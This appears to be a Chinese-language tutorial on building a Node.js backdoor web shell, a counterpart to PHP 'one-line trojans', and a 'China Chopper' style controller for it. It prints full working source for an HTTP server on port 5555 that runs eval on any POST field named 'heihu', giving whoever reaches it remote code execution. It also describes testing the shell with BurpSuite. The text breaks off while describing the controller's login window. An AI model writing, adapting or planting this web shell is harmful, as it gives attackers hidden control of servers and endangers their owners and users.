nodeJs传承了JavaScript的语法,开启了后端语言,我们知道前台的JavaScript中,eval()函数是用来执行代码的,说到这里我们会想到PHP中的eval也会被黑客当作后门来使用,那么nodeJs存在eval,为什么没有人去造一款管理nodeJs后门的菜刀呢?既然网上没有第一个案例,那笔者就来造出第一个案例吧。下边是笔者对菜刀的理解思维图:
那么传统的一句话木马如PHP一句话木马一样,只需要简单的一句话就可以 eval($_POST[x]);,但是nodeJS却无法这么简短,因为它解析GET/POST请求就需要一堆代码。
在编写nodeJs菜刀之前笔者有一种猜想,是不是nodeJS的eval函数中无法引入包?也就是require函数的执行。
那么笔者进行测试:
可以惊讶的看到fs包被成功引入进来了,那么编写中国菜刀的理想也就又近了一步。
0x04 菜刀编写笔者在这里写了一段处理POST请求的代码,并且进入eval函数,来达到市场上正常的一句话的效果。代码如下:
这里nodeJS奇怪就奇怪在处理POST请求使用了nodeJS自己封装的addListener事件方法,上图的一系列代码就是在表示 eval($_POST[‘heihu’]),这样的“一句话”还真是“一句话”...
下面使用BurpSuite来测试一下console.log看是否可以成功代码执行。
可以看到console.log()成功被执行。
NodeJS一句话脚本:
var http = require('http');
var querystring = require('querystring');
var server = http.createServer(function(request, response){
response.writeHead(200, {'Content-Type':'text/html;charset=utf8'});
if(request.method.toLocaleLowerCase() == 'post'){
var string = '';
request.addListener('data', function(chunk){
string += chunk;
});
request.addListener('end', function(){
var strObj = querystring.parse(string);
if(strObj.heihu){
try {
eval(strObj.heihu);
response.end('Eval Ok');
}catch(e){
console.log(e);
response.end('Eval Error');
}
}else{
response.end('Pass Error');
}
});
}else{
response.end();
}
});
server.listen(5555);
那么笔者使用“易语言”来完成这个中国菜刀的小项目吧~(对,你没听错,就是易语言)
首先界面很简单,也就是一个登录窗口。
单击“向着权限进攻~”按钮后